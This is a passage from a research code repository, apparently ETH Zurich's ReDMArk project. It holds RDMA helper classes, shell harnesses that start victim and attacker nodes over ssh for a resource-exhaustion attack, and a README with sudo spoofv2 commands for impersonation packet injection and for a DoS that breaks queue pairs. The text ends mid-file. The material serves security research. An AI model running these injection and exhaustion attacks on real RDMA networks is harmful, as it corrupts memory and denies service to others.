176 | char strport[80]; 177 | sprintf(strport, "%d", port); 178 | 179 | ret = rdma_getaddrinfo(ip, strport, &hints, &addrinfo); 180 | if (ret) { 181 | perror("rdma_getaddrinfo\n"); 182 | exit(1); 183 | } 184 | 185 | } 186 | 187 | ~ClientRDMA(){ 188 | rdma_freeaddrinfo(addrinfo); 189 | } 190 | 191 | 192 | VerbsEP* connectEP(struct ibv_qp_init_attr *attr, struct rdma_conn_param *conn_param, struct ibv_pd* pd = NULL){ 193 | int ret; 194 | struct rdma_cm_id *id; 195 | 196 | attr->qp_type = IBV_QPT_RC; 197 | 198 | ret = rdma_create_ep(&id, this->addrinfo, NULL, NULL); 199 | //ret = rdma_create_ep(&id, this->addrinfo, pd, attr); 200 | if (ret) { 201 | perror("rdma_create_ep"); 202 | return NULL; 203 | } 204 | if(attr->send_cq==NULL){ 205 | attr->send_cq=ibv_create_cq(id->verbs, attr->cap.max_send_wr+1, NULL, NULL, 0); 206 | } 207 | 208 | ret = rdma_create_qp(id, pd, attr); 209 | if (ret) { 210 | perror("rdma_create_qp"); 211 | return NULL; 212 | } 213 | 214 | ret = rdma_connect(id, conn_param); 215 | if (ret) { 216 | perror("rdma_accept"); 217 | return NULL; 218 | } 219 | 220 | 221 | return new VerbsEP(id->qp, attr->cap.max_inline_data, attr->cap.max_send_wr, attr->cap.max_recv_wr ); 222 | } 223 | 224 | }; -------------------------------------------------------------------------------- /exhaustion_attack/run_all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | trap 'echo -ne "Stop tests...\n" && exit 1' INT 4 | 5 | min_power=4 6 | max_power=12 7 | 8 | for (( a=0; a<=8; a++ )) 9 | do 10 | 11 | for (( i=$min_power; i<=$max_power; i++ )) 12 | do 13 | size=$((2**$i)) 14 | # wa - write attackers. Attackers use RDMA writes 15 | # ra - read attackers. Attackers use RDMA reads 16 | # rc - read client. The client evaluates performance of RDMA reads 17 | # rw = read attacker. The client evaluates performance of RDMA writes 18 | # Each attacker issues packets of 1024 bytes 19 | ./run_test.sh --attackers=$a --writeattack --size=$size --outstand=16 > test1024_wa_rc_${a}_${size}.txt 20 | ./run_test.sh --attackers=$a --outstandattack=16 --size=$size --outstand=16 > test1024_ra_rc_${a}_${size}.txt 21 | ./run_test.sh --attackers=$a --writeattack --size=$size --outstand=120 --writeclient> test1024_wa_wc_${a}_${size}.txt 22 | ./run_test.sh --attackers=$a --outstandattack=16 --size=$size --outstand=120 --writeclient> test1024_ra_wc_${a}_${size}.txt 23 | 24 | echo "done: number of attackers=$a and the size of a request issued by a client=$size" 25 | done 26 | 27 | done 28 | -------------------------------------------------------------------------------- /exhaustion_attack/run_test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | define(){ IFS='\n' read -r -d '' ${1} || true; } 4 | declare -A pids 5 | redirection=( "> out" "2> err" "< /dev/null" ) 6 | define HELP <<'EOF' 7 | 8 | Script for laucnhing the attack example. 9 | usage : $0 [options] 10 | EOF 11 | 12 | attackers=0 13 | ipbase="192.168.1." 14 | ipstart="71" 15 | 16 | attacker_type="" 17 | client_type="" 18 | size=4096 19 | outstand=16 20 | num=1024 21 | outstandattack=120 22 | attackmessagesize=1024 23 | 24 | for arg in "$@" 25 | do 26 | case ${arg} in 27 | --help|-help|-h) 28 | usage 29 | exit 1 30 | ;; 31 | --outstandattack=*) 32 | outstandattack=`echo $arg | sed -e 's/--outstandattack=//'` 33 | outstandattack=`eval echo ${outstandattack}` # tilde and variable expansion 34 | ;; 35 | --attackers=*) 36 | attackers=`echo $arg | sed -e 's/--attackers=//'` 37 | attackers=`eval echo ${attackers}` # tilde and variable expansion 38 | ;; 39 | --writeattack) 40 | attacker_type="--write" 41 | ;; 42 | --writeclient) 43 | client_type="--write" 44 | ;; 45 | --size=*) 46 | size=`echo $arg | sed -e 's/--size=//'` 47 | size=`eval echo ${size}` # tilde and variable expansion 48 | ;; 49 | --outstand=*) 50 | outstand=`echo $arg | sed -e 's/--outstand=//'` 51 | outstand=`eval echo ${outstand}` # tilde and variable expansion 52 | ;; 53 | --num=*) 54 | num=`echo $arg | sed -e 's/--num=//'` 55 | num=`eval echo ${num}` # tilde and variable expansion 56 | ;; 57 | esac 58 | done 59 | 60 | StartServer() { 61 | echo "Starting a victim server..." 62 | 63 | cmd=( "ssh" "-oStrictHostKeyChecking=no" "$USER@${ipbase}${ipstart}" "nohup" "${PWD}/victim --address=${ipbase}${ipstart} --reads=16 --len=4096 --connections=$(($attackers + 1))" "${redirection[@]}" "&" "echo \$!" ) 64 | pids["${ipbase}${ipstart}"]=$("${cmd[@]}") 65 | echo -e "COMMAND: "${cmd[@]} 66 | 67 | echo -e "\tinitial nodes: ${!pids[@]}" 68 | echo -e "\t...and their PIDs: ${pids[@]}" 69 | } 70 | 71 | 72 | StartAttackers() { 73 | echo "Starting $attackers attackers..." 74 | for ((i=0; i<$attackers; i++)); do 75 | ipend=$(($ipstart+$i + 1)) 76 | cmd=( "ssh" "-oStrictHostKeyChecking=no" "$USER@${ipbase}${ipend}" "nohup" "${PWD}/attacker --address=${ipbase}${ipstart} --size=${attackmessagesize} --outstand=${outstandattack} ${attacker_type}" "${redirection[@]}" "&" "echo \$!" ) 77 | pids["${ipbase}${ipend}"]=$("${cmd[@]}") 78 | echo -e "COMMAND: "${cmd[@]} 79 | sleep 1 80 | done 81 | echo -e "\tinitial nodes: ${!pids[@]}" 82 | echo -e "\t...and their PIDs: ${pids[@]}" 83 | } 84 | 85 | StopServers() { 86 | for i in "${!pids[@]}" 87 | do 88 | cmd=( "ssh" "$USER@$i" "kill -9" "${pids[$i]}" ) 89 | echo "Executing: ${cmd[@]}" 90 | $("${cmd[@]}") 91 | done 92 | } 93 | 94 | 95 | trap 'echo -ne "Stop all servers..." && StopServers && echo "done" && exit 1' INT 96 | 97 | StartServer 98 | echo "Server is started!" 99 | sleep 1 100 | 101 | interval=100 102 | 103 | # scale interval for large message sizes. 104 | # interval stands for the number of completions required for a single measurement 105 | coef=$(($size/1024)) 106 | if [ "$coef" -ne "0" ]; then 107 | interval=$((128/$coef)) 108 | fi 109 | StartAttackers 110 | ./client --address=${ipbase}${ipstart} --size=${size} --outstand=${outstand} --num=${num} --interval=${interval} ${client_type} 111 | 112 | StopServers 113 | -------------------------------------------------------------------------------- /exhaustion_attack/verbsEP.hpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * A set of helper functions for working with RDMA. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #pragma once 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | class VerbsEP{ 22 | 23 | public: 24 | struct ibv_qp * const qp; 25 | struct ibv_pd * const pd; 26 | const uint32_t max_inline_data; 27 | 28 | const uint32_t max_send_size; 29 | const uint32_t max_recv_size; 30 | 31 | VerbsEP(struct ibv_qp *qp, uint32_t max_inline_data,uint32_t max_send_size,uint32_t max_recv_size): 32 | qp(qp), pd(qp->pd), max_inline_data(0),max_send_size(max_send_size),max_recv_size(max_recv_size) 33 | { 34 | // empty 35 | } 36 | 37 | ~VerbsEP(){ 38 | // empty 39 | } 40 | 41 | uint32_t get_qp_num() const{ 42 | return qp->qp_num; 43 | } 44 | 45 | struct ibv_mr * reg_mem(void *buf, uint32_t size){ 46 | return ibv_reg_mr(this->pd, buf, size, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ); 47 | } 48 | 49 | struct ibv_mr * reg_mem_with_atomic(void *buf, uint32_t size){ 50 | return ibv_reg_mr(this->pd, buf, size, IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_READ | IBV_ACCESS_REMOTE_ATOMIC); 51 | } 52 | 53 | void dereg_mem(struct ibv_mr * mr){ 54 | ibv_dereg_mr(mr); 55 | } 56 | 57 | inline int poll_send_completion(struct ibv_wc* wc, int num = 1){ 58 | return ibv_poll_cq(this->qp->send_cq, num, wc); 59 | } 60 | 61 | inline int poll_recv_completion(struct ibv_wc* wc, int num = 1){ 62 | return ibv_poll_cq(this->qp->recv_cq, num, wc); 63 | } 64 | 65 | static inline int post_srq_recv(struct ibv_srq *srq, uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 66 | struct ibv_sge sge; 67 | 68 | sge.addr = local_addr; 69 | sge.length = length; 70 | sge.lkey = lkey; 71 | 72 | struct ibv_recv_wr wr, *bad; 73 | 74 | wr.wr_id = wr_id; 75 | wr.next = NULL; 76 | wr.sg_list = &sge; 77 | wr.num_sge = 1; 78 | 79 | return ibv_post_srq_recv(srq,&wr, &bad); 80 | } 81 | 82 | inline int post_recv(uint64_t wr_id, struct ibv_mr * mr){ 83 | return post_recv(wr_id, (uint64_t)mr->addr, mr->lkey, mr->length); 84 | } 85 | 86 | inline int post_recv(uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 87 | struct ibv_sge sge; 88 | 89 | sge.addr = local_addr; 90 | sge.length = length; 91 | sge.lkey = lkey; 92 | 93 | struct ibv_recv_wr wr, *bad; 94 | 95 | wr.wr_id = wr_id; 96 | wr.next = NULL; 97 | wr.sg_list = &sge; 98 | wr.num_sge = 1; 99 | 100 | return ibv_post_recv(qp, &wr, &bad); 101 | } 102 | 103 | inline int post_recv(struct ibv_recv_wr * wr){ 104 | struct ibv_recv_wr *bad; 105 | return ibv_post_recv(qp, wr, &bad); 106 | } 107 | 108 | inline int post_shared_recv(uint64_t wr_id, struct ibv_mr * mr){ 109 | return post_shared_recv(wr_id, (uint64_t)mr->addr, mr->lkey, mr->length); 110 | } 111 | 112 | inline int post_shared_recv(uint64_t wr_id, uint64_t local_addr=0ULL, uint32_t lkey=0, uint32_t length=0){ 113 | struct ibv_sge sge; 114 | 115 | sge.addr = local_addr; 116 | sge.length = length; 117 | sge.lkey = lkey; 118 | 119 | struct ibv_recv_wr wr, *bad; 120 | 121 | wr.wr_id = wr_id; 122 | wr.next = NULL; 123 | wr.sg_list = &sge; 124 | wr.num_sge = 1; 125 | 126 | return ibv_post_srq_recv(qp->srq, &wr, &bad); 127 | } 128 | 129 | inline int send_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint32_t length){ 130 | unsigned int send_flags = IBV_SEND_SIGNALED; 131 | 132 | if(length!=0 && length<=max_inline_data){ 133 | send_flags |= IBV_SEND_INLINE; 134 | } 135 | 136 | return two_sided( IBV_WR_SEND, send_flags, wr_id, 0,local_addr, lkey, length); 137 | } 138 | 139 | inline int send(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint32_t length){ 140 | unsigned int send_flags = 0; 141 | 142 | if(length!=0 && length<=max_inline_data){ 143 | send_flags |= IBV_SEND_INLINE; 144 | } 145 | return two_sided( IBV_WR_SEND, send_flags, wr_id, 0,local_addr, lkey, length); 146 | } 147 | 148 | 149 | inline int send_with_imm_signaled(uint64_t wr_id, uint32_t imm_data, uint64_t local_addr, uint32_t lkey, uint32_t length){ 150 | unsigned int send_flags = IBV_SEND_SIGNALED; 151 | 152 | if(length!=0 && length<=max_inline_data){ 153 | send_flags |= IBV_SEND_INLINE; 154 | } 155 | 156 | return two_sided( IBV_WR_SEND_WITH_IMM, send_flags, wr_id, imm_data,local_addr, lkey, length); 157 | } 158 | 159 | inline int send_with_imm(uint64_t wr_id, uint32_t imm_data, uint64_t local_addr, uint32_t lkey, uint32_t length){ 160 | unsigned int send_flags = 0; 161 | 162 | if(length!=0 && length<=max_inline_data){ 163 | send_flags |= IBV_SEND_INLINE; 164 | } 165 | return two_sided( IBV_WR_SEND_WITH_IMM, send_flags, wr_id, imm_data,local_addr, lkey, length); 166 | } 167 | 168 | inline int write_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 169 | 170 | unsigned int send_flags = IBV_SEND_SIGNALED; 171 | 172 | if(length!=0 && length<=max_inline_data){ 173 | send_flags |= IBV_SEND_INLINE; 174 | } 175 | return one_sided(IBV_WR_RDMA_WRITE,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 176 | } 177 | 178 | 179 | inline int write(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 180 | 181 | unsigned int send_flags = 0; 182 | 183 | if(length!=0 && length<=max_inline_data){ 184 | send_flags |= IBV_SEND_INLINE; 185 | } 186 | return one_sided(IBV_WR_RDMA_WRITE,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 187 | } 188 | 189 | inline int write_send_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length, uint32_t payload){ 190 | struct ibv_sge sge[2]; 191 | 192 | 193 | sge[0].addr = local_addr; 194 | sge[0].length = length; 195 | sge[0].lkey = lkey; 196 | struct ibv_send_wr wr[2], *bad; 197 | 198 | wr[0].wr_id = wr_id; 199 | wr[0].next = &wr[1]; 200 | wr[0].sg_list = &sge[0]; 201 | wr[0].num_sge = 1; 202 | wr[0].opcode = IBV_WR_RDMA_WRITE; 203 | 204 | wr[0].send_flags = (length<=max_inline_data ? IBV_SEND_INLINE : 0); 205 | 206 | wr[0].wr.rdma.remote_addr = remote_addr; 207 | wr[0].wr.rdma.rkey = rkey; 208 | 209 | sge[1].addr = local_addr; 210 | sge[1].length = payload; 211 | sge[1].lkey = lkey; 212 | 213 | wr[1].wr_id = wr_id; 214 | wr[1].next = NULL; 215 | wr[1].sg_list = &sge[1]; 216 | wr[1].num_sge = 1; 217 | wr[1].opcode = IBV_WR_SEND; 218 | wr[1].send_flags = IBV_SEND_SIGNALED | (payload<=max_inline_data ? IBV_SEND_INLINE : 0); 219 | 220 | 221 | return ibv_post_send(this->qp, wr, &bad); 222 | 223 | } 224 | 225 | 226 | inline int write_write_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length, uint32_t payload){ 227 | struct ibv_sge sge[2]; 228 | 229 | sge[0].addr = local_addr; 230 | sge[0].length = length; 231 | sge[0].lkey = lkey; 232 | struct ibv_send_wr wr[2], *bad; 233 | 234 | wr[0].wr_id = wr_id; 235 | wr[0].next = &wr[1]; 236 | wr[0].sg_list = &sge[0]; 237 | wr[0].num_sge = 1; 238 | wr[0].opcode = IBV_WR_RDMA_WRITE; 239 | 240 | wr[0].send_flags = (length<=max_inline_data ? IBV_SEND_INLINE : 0); ; 241 | 242 | wr[0].wr.rdma.remote_addr = remote_addr; 243 | wr[0].wr.rdma.rkey = rkey; 244 | 245 | sge[1].addr = local_addr; 246 | sge[1].length = payload; 247 | sge[1].lkey = lkey; 248 | 249 | wr[1].wr_id = wr_id; 250 | wr[1].next = NULL; 251 | wr[1].sg_list = &sge[1]; 252 | wr[1].num_sge = 1; 253 | wr[1].opcode = IBV_WR_RDMA_WRITE_WITH_IMM; 254 | wr[1].send_flags = IBV_SEND_SIGNALED | (payload<=max_inline_data ? IBV_SEND_INLINE : 0); 255 | 256 | wr[1].wr.rdma.remote_addr = remote_addr; 257 | wr[1].wr.rdma.rkey = rkey; 258 | return ibv_post_send(this->qp, wr, &bad); 259 | } 260 | 261 | inline int send_cas_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint64_t expected, uint64_t swap ){ 262 | 263 | struct ibv_sge sge; 264 | 265 | sge.addr = local_addr; 266 | sge.length = 8; 267 | sge.lkey = lkey; 268 | struct ibv_send_wr wr, *bad; 269 | 270 | wr.wr_id = wr_id; 271 | wr.next = NULL; 272 | wr.sg_list = &sge; 273 | wr.num_sge = 1; 274 | wr.opcode = IBV_WR_ATOMIC_CMP_AND_SWP; 275 | 276 | wr.send_flags = IBV_SEND_SIGNALED ; //| IBV_SEND_INLINE 277 | 278 | wr.wr.atomic.remote_addr = remote_addr; 279 | wr.wr.atomic.rkey = rkey; 280 | wr.wr.atomic.compare_add = expected; /* expected value in remote address */ 281 | wr.wr.atomic.swap = swap; /* the value that remote address will be assigned to */ 282 | 283 | return ibv_post_send(this->qp, &wr, &bad); 284 | 285 | } 286 | 287 | inline int write_with_imm_signaled(uint64_t wr_id, uint32_t imm_data, 288 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 289 | 290 | unsigned int send_flags = IBV_SEND_SIGNALED; 291 | 292 | if(length!=0 && length<=max_inline_data){ 293 | send_flags |= IBV_SEND_INLINE; 294 | } 295 | return one_sided(IBV_WR_RDMA_WRITE_WITH_IMM,send_flags,wr_id,imm_data,local_addr,lkey,remote_addr,rkey,length); 296 | } 297 | 298 | 299 | inline int write_with_imm(uint64_t wr_id, uint32_t imm_data, 300 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length){ 301 | 302 | unsigned int send_flags = 0; 303 | 304 | if(length!=0 && length<=max_inline_data){ 305 | send_flags |= IBV_SEND_INLINE; 306 | } 307 | return one_sided(IBV_WR_RDMA_WRITE_WITH_IMM,send_flags,wr_id,imm_data,local_addr,lkey,remote_addr,rkey,length); 308 | } 309 | 310 | 311 | inline int read_signaled(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, 312 | uint32_t rkey, uint32_t length) 313 | { 314 | unsigned int send_flags = IBV_SEND_SIGNALED; 315 | 316 | return one_sided(IBV_WR_RDMA_READ,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 317 | } 318 | 319 | inline int read(uint64_t wr_id, uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length) 320 | { 321 | unsigned int send_flags = 0; 322 | 323 | return one_sided(IBV_WR_RDMA_READ,send_flags,wr_id,0,local_addr,lkey,remote_addr,rkey,length); 324 | } 325 | 326 | 327 | inline int one_sided(enum ibv_wr_opcode opcode, unsigned int send_flags, uint64_t wr_id, uint32_t imm_data, 328 | uint64_t local_addr, uint32_t lkey, uint64_t remote_addr, uint32_t rkey, uint32_t length) 329 | { 330 | struct ibv_sge sge; 331 | 332 | sge.addr = local_addr; 333 | sge.length = length; 334 | sge.lkey = lkey; 335 | struct ibv_send_wr wr, *bad; 336 | 337 | wr.wr_id = wr_id; 338 | wr.next = NULL; 339 | wr.sg_list = &sge; 340 | wr.num_sge = 1; 341 | wr.opcode = opcode; 342 | 343 | wr.send_flags = send_flags; 344 | wr.imm_data = imm_data; 345 | 346 | 347 | wr.wr.rdma.remote_addr = remote_addr; 348 | wr.wr.rdma.rkey = rkey; 349 | 350 | return ibv_post_send(this->qp, &wr, &bad); 351 | } 352 | 353 | 354 | inline int two_sided(enum ibv_wr_opcode opcode, unsigned int send_flags, uint64_t wr_id, uint32_t imm_data, 355 | uint64_t local_addr, uint32_t lkey, uint32_t length) 356 | { 357 | struct ibv_sge sge; 358 | 359 | sge.addr = local_addr; 360 | sge.length = length; 361 | sge.lkey = lkey ; 362 | struct ibv_send_wr wr, *bad; 363 | 364 | wr.wr_id = wr_id; 365 | wr.next = NULL; 366 | wr.sg_list = &sge; 367 | wr.num_sge = 1; 368 | wr.opcode = opcode; 369 | 370 | wr.send_flags = send_flags; 371 | wr.imm_data = imm_data; 372 | 373 | return ibv_post_send(this->qp, &wr, &bad); 374 | } 375 | 376 | inline int post_send(struct ibv_send_wr *wr) 377 | { 378 | struct ibv_send_wr *bad; 379 | return ibv_post_send(this->qp, wr, &bad); 380 | } 381 | 382 | 383 | }; 384 | -------------------------------------------------------------------------------- /exhaustion_attack/victim.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a victim service for resource exhaustion attack. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | #include "verbsEP.hpp" 12 | #include "connectRDMA.hpp" 13 | #include "cxxopts.hpp" 14 | #include 15 | 16 | uint32_t totalsize; 17 | 18 | struct ibv_mr *mr; 19 | 20 | std::vector connections; 21 | std::vector regions; 22 | 23 | 24 | void server_func(){ 25 | 26 | struct ibv_wc wc[8]; 27 | while(true){ 28 | int ret = connections[0]->poll_recv_completion(wc,1); 29 | if(ret){ 30 | // we ignore events as the attack does not require it. 31 | printf("Received a completion event\n"); 32 | } 33 | } 34 | } 35 | 36 | cxxopts::ParseResult 37 | parse(int argc, char* argv[]) 38 | { 39 | cxxopts::Options options(argv[0], "Server for the microbenchmark"); 40 | options 41 | .positional_help("[optional args]") 42 | .show_positional_help(); 43 | 44 | try 45 | { 46 | 47 | options.add_options() 48 | ("a,address", "IP address", cxxopts::value(), "IP") 49 | ("len", "Buffer size", cxxopts::value()->default_value(std::to_string(2048)), "N") 50 | ("reads", "RDMA read caps", cxxopts::value()->default_value(std::to_string(64)), "N") 51 | ("c,connections", "The numder of connections for the test", cxxopts::value()->default_value(std::to_string(1)), "N") 52 | ("help", "Print help") 53 | ; 54 | 55 | auto result = options.parse(argc, argv); 56 | 57 | if (result.count("help")) 58 | { 59 | std::cout << options.help({""}) << std::endl; 60 | exit(0); 61 | } 62 | 63 | if (result.count("address") == 0) 64 | { 65 | std::cout << options.help({""}) << std::endl; 66 | exit(0); 67 | } 68 | 69 | return result; 70 | 71 | } catch (const cxxopts::OptionException& e) 72 | { 73 | std::cout << "error parsing options: " << e.what() << std::endl; 74 | std::cout << options.help({""}) << std::endl; 75 | exit(1); 76 | } 77 | } 78 | 79 | 80 | 81 | int main(int argc, char* argv[]){ 82 | auto allparams = parse(argc,argv); 83 | 84 | std::string ip = allparams["address"].as(); // "192.168.1.20"; .c_str() 85 | totalsize = allparams["len"].as(); 86 | 87 | int port = 9999; 88 | 89 | ServerRDMA * server = new ServerRDMA(const_cast(ip.c_str()),port); 90 | struct ibv_qp_init_attr attr; 91 | struct rdma_conn_param conn_param; 92 | 93 | uint32_t reads = allparams["reads"].as();; 94 | 95 | uint32_t recv_size = 1000; 96 | 97 | 98 | memset(&attr, 0, sizeof(attr)); 99 | attr.cap.max_send_wr = 16; 100 | attr.cap.max_recv_wr = recv_size; 101 | attr.cap.max_send_sge = 1; 102 | attr.cap.max_recv_sge = 1; 103 | attr.cap.max_inline_data = 0; 104 | attr.qp_type = IBV_QPT_RC; 105 | 106 | memset(&conn_param, 0 , sizeof(conn_param)); 107 | conn_param.responder_resources = reads; 108 | conn_param.initiator_depth = 0; 109 | conn_param.retry_count = 3; // TODO 110 | conn_param.rnr_retry_count = 3; // TODO 111 | 112 | 113 | struct ibv_pd *pd = server->create_pd(); 114 | 115 | connections.push_back(server->acceptEP(&attr,&conn_param,pd)); 116 | 117 | uint32_t cons = allparams["connections"].as(); 118 | 119 | if(cons>1){ 120 | attr.cap.max_recv_wr = 1; 121 | attr.send_cq = connections[0]->qp->send_cq; 122 | attr.recv_cq = connections[0]->qp->recv_cq; 123 | 124 | for(uint32_t i=1; i < cons; i++){ 125 | connections.push_back(server->acceptEP(&attr,&conn_param,pd)); 126 | } 127 | 128 | } 129 | 130 | printf("All connections are established\n"); 131 | for(uint32_t i=0; i < cons; i++){ 132 | char* buf = (char*)aligned_alloc(4096, totalsize); // 8MiB 133 | mr = connections[0]->reg_mem(buf,totalsize); 134 | regions.push_back(mr); 135 | } 136 | 137 | for(uint32_t i=0; i < connections.size(); i++){ 138 | struct ibv_sge sge; 139 | sge.addr=(uint64_t)regions[i]->addr; 140 | sge.lkey=regions[i]->rkey; 141 | sge.length=totalsize; 142 | memcpy((void*)sge.addr, &sge,sizeof(sge)); 143 | connections[i]->send_signaled(0,sge.addr, sge.lkey, sizeof(sge)); 144 | } 145 | 146 | int expect = cons; 147 | struct ibv_wc wc; 148 | while(expect != 0){ 149 | int ret = connections[0]->poll_send_completion(&wc); 150 | if(ret > 0) expect -= ret; 151 | } 152 | 153 | server_func(); 154 | 155 | return 0; 156 | } 157 | 158 | -------------------------------------------------------------------------------- /inject_attack/Makefile: -------------------------------------------------------------------------------- 1 | APPS = spoofv1 spoofv2 server client 2 | 3 | LDFLAGS = -libverbs -lpthread #-ldl 4 | CFLAGS += -Wall -std=c++11 -I./ 5 | 6 | all: CFLAGS += -O2 7 | all: ${APPS} 8 | 9 | spoofv2: clean 10 | g++ spoofv2.cpp --std=c++11 -lz -o spoofv2 11 | spoofv1: clean 12 | g++ spoofv1.cpp --std=c++11 -lz -o spoofv1 13 | clean: 14 | $(foreach fname,${APPS}, rm -f ${fname}) 15 | 16 | server: clean 17 | g++ server.cpp $(CFLAGS) $(LDFLAGS) -lrdmacm -o server 18 | 19 | client: clean 20 | g++ client.cpp $(CFLAGS) $(LDFLAGS) -lrdmacm -o client 21 | 22 | 23 | debug: CFLAGS += -DDEBUG -g -O0 24 | debug: ${APPS} 25 | 26 | .DELETE_ON_ERROR: 27 | .PHONY: all clean 28 | -------------------------------------------------------------------------------- /inject_attack/README.md: -------------------------------------------------------------------------------- 1 | # (A1) Packet Injection using Impersonation 2 | 3 | The attack shows that an attacker can inject RDMA packets, since InfiniBand lacks source authentication. 4 | 5 | 6 | ## Requirements 7 | * GCC >= 4.9 with C++11 features 8 | * rdma-core library, or equivalent RDMA verbs library 9 | * RDMA-capable network devices must have assigned IP addresses 10 | * RDMA devices should be configured with RoCE enabled. 11 | * `sudo` access to inject a packet 12 | 13 | ## Usage 14 | 15 | To compile the code simply run `make`. 16 | 17 | To perform an attack, the victim connection should be created between a server and a client. The injection tool impersonates the client. The server should be launched first using `./server -a ` and then the client with `./client -a `, where `` is the IP address of the server. 18 | The server will print an example of a command that can be executed by the attacker to inject a RoCE *correct* packet. 19 | For example, the server can output the following command: 20 | ``` 21 | sudo ./spoofv2 16 1 192.168.1.11 192.168.1.21 2319 10172812 94768298730720 563097 22 | ``` 23 | The command has the following format: 24 | ``` 25 | sudo ./spoofv2 26 | ``` 27 | 28 | The command above injects RDMA write packets and measures the injection time in microseconds. To inject a send packet, one should remove ` ` arguments. For example: 29 | ``` 30 | sudo ./spoofv2 16 1 192.168.1.11 192.168.1.21 2319 10172812 31 | ``` 32 | 33 | To facilitate the experiments, the client prints its state and also sends a message to the server each 60 seconds to check connectivity. In addition, the server prints messages when a Send request is received, and when a memory is corrupted by the attacker. 34 | 35 | Basic usage. 36 | ``` 37 | make 38 | ./server -a 192.168.1.10 39 | ./client -a 192.168.1.10 % should be launched on a remote machine. 40 | ``` 41 | 42 | 43 | # (A2) DoS Attack by Transiting QPs to an Error State 44 | 45 | To transition a QP to an error state, follow the instruction above for (A1), but modify the correct rkey of the injected roce packet. 46 | 47 | For example, if the correct command for injection is: 48 | ``` 49 | sudo ./spoofv2 16 1 192.168.1.11 192.168.1.21 2319 10172812 94768298730720 563097 50 | ``` 51 | 52 | Then you can use the following command to break a connection: 53 | ``` 54 | sudo ./spoofv2 16 1 192.168.1.11 192.168.1.21 2319 10172812 94768298730720 563098 55 | ``` 56 | 57 | Since the rkey is incorrect, the QP will transit to the error state. -------------------------------------------------------------------------------- /inject_attack/client.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * ReDMArk: Bypassing RDMA Security Mechanisms 3 | * 4 | * Launch a client that will be impersonated. 5 | * 6 | * Copyright (c) 2020-2021 ETH-Zurich. All rights reserved. 7 | * 8 | * Author(s): Konstantin Taranov 9 | * 10 | */ 11 | 12 | #include "verbsEP.hpp" 13 | #include "connectRDMA.hpp" 14 | #include 15 | #include "cxxopts.hpp" 16 | #include 17 | 18 | cxxopts::ParseResult 19 | parse(int argc, char* argv[]) 20 | { 21 | cxxopts::Options options(argv[0], "A victim client. It will be impersonated."); 22 | options 23 | .positional_help("[optional args]") 24 | .show_positional_help(); 25 | 26 | try 27 | { 28 | 29 | options.add_options() 30 | ("a,address", "IP address of the victim", cxxopts::value(), "IP") 31 | ("help", "Print help") 32 | ; 33 | 34 | auto result = options.parse(argc, argv); 35 | 36 | if (result.count("help")) 37 | { 38 | std::cout << options.help({""}) << std::endl; 39 | exit(0); 40 | } 41 | 42 | if (result.count("address") == 0) 43 | { 44 | std::cout << options.help({""}) << std::endl; 45 | exit(0); 46 | } 47 | 48 | return result; 49 | 50 | } catch (const cxxopts::OptionException& e) 51 | { 52 | std::cout << "error parsing options: " << e.what() << std::endl; 53 | std::cout << options.help({""}) << std::endl; 54 | exit(1); 55 | } 56 | } 57 | 58 | 59 | 60 | void print_data(VerbsEP *ep){ 61 | 62 | struct ibv_qp_attr attr; 63 | struct ibv_qp_init_attr init_attr; 64 | int ret = ibv_query_qp(ep->qp, &attr, IBV_QP_RQ_PSN | IBV_QP_SQ_PSN, &init_attr ); 65 | assert(ret==0 && "ibv_query_qp failed"); 66 | printf("PSNs. receive-PSN: %u send-PSN %u \n", attr.rq_psn, attr.sq_psn); 67 | printf("QPN %u \n",ep->qp->qp_num); 68 | 69 | } 70 | 71 | 72 | std::vector connections; 73 | 74 | int main(int argc, char* argv[]){ 75 | 76 | auto allparams = parse(argc,argv); 77 | 78 | std::string ip = allparams["address"].as(); 79 | 80 | printf("The test sends a message each 60 seconds."); 81 | 82 | 83 | int port = 9999; 84 | ClientRDMA * client = new ClientRDMA(const_cast(ip.c_str()),port); 85 | struct ibv_qp_init_attr attr; 86 | struct rdma_conn_param conn_param; 87 | 88 | memset(&attr, 0, sizeof(attr)); 89 | attr.cap.max_send_wr = 1; 90 | attr.cap.max_recv_wr = 1; 91 | attr.cap.max_send_sge = 1; 92 | 